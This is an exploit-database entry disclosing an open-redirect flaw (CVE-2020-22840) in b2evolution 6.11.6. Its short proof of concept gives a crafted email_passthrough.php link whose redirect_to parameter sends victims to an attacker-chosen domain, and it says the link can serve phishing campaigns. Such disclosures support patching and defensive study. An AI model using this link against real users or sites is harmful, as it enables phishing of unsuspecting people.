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b2evolution 6.11.6 - (redirect_to) Open Redirect Vulnerability

Author
Nakul Ratti
Risk
[
Security Risk Low
]
0day-ID
0day-ID-35815
Category
web applications
Date add
11-02-2021
CVE
CVE-2020-22840
Platform
php
# Exploit Title: b2evolution 6.11.6 - 'redirect_to' Open Redirect
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : CVE-2020-22840


--------------------------Proof of Concept-----------------------


1. Send the following link : http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com to the unsuspecting user
2. The user will be redirected to Google.com or any other attacker controlled domain
3. This can be used to perform malicious phishing campaigns on unsuspecting users

#  0day.today [2024-11-14]  #